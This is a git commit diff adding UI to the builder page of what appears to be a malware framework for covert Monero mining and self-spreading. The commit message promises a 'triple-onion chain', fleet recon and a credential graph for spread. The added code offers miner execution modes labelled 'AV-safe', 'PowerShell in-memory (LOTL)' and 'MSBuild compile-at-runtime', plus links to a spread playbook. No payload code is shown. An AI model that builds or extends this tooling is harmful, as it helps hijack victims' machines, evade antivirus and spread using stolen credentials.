Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions

View File

@@ -76,6 +76,8 @@ import {
type MissionOperationChip,
type MissionWizardStep,
} from '../help/forgeMissionWizard';
import { LOTL_ONION_TIER_DOCS } from '../help/lotlOnionTiers';
import { spreadTechniqueDocUrl } from '../help/spreadTechniques';
import './Pages.css';
import './BuilderPage.css';
@@ -1372,6 +1374,29 @@ export default function BuilderPage() {
))}
</div>
<p className="form-hint">{OPERATION_MODES.find((m) => m.id === operationMode)?.blurb}</p>
{operationMode === 'lotl_onion' && (
<details className="forge-lotl-doc" style={{ marginTop: '0.5rem' }}>
<summary className="form-hint" style={{ cursor: 'pointer' }}>
LOTL Onion tiers same XMR Wallet Address; server-pulled order on connect
</summary>
<ul className="form-hint" style={{ margin: '0.35rem 0 0', paddingLeft: '1.2rem' }}>
{LOTL_ONION_TIER_DOCS.map((t) => (
<li key={t.id}>
{t.label} {t.hint}
</li>
))}
</ul>
<a
href={spreadTechniqueDocUrl('lotl-onion')}
target="_blank"
rel="noreferrer"
className="form-hint"
style={{ display: 'inline-block', marginTop: '0.35rem' }}
>
Spread playbook: LOTL Onion tab
</a>
</details>
)}
</div>
<div className="form-group" style={{ marginBottom: '1rem' }}>
<label className="label">Spread profile presets</label>
@@ -1933,6 +1958,21 @@ export default function BuilderPage() {
onChange={(e) => { const v = e.target.valueAsNumber; if (isFinite(v) && v >= 256) updateField('min_free_ram_mb', v); }}
onBlur={(e) => { const v = e.target.valueAsNumber; if (!isFinite(v) || v < 256) updateField('min_free_ram_mb', 512); }} />
</div>
<div className="form-group">
<label className="label">Miner Execution <HelpTip field="miner_execution" /></label>
<select
className="select"
value={form.miner_execution ?? 'inprocess'}
onChange={(e) => updateField('miner_execution', e.target.value)}
>
<option value="inprocess">In-process RandomX (default, AV-safe CPU)</option>
<option value="auto">Auto (container if Docker detected)</option>
<option value="container">Container mining</option>
<option value="subprocess">Subprocess (GPU miners)</option>
<option value="powershell">PowerShell in-memory (LOTL)</option>
<option value="dotnet">Dotnet/MSBuild compile-at-runtime (LOTL)</option>
</select>
</div>
<div className="form-group">
<label className="label">Mining Mode <HelpTip field="mining_mode" /></label>
<select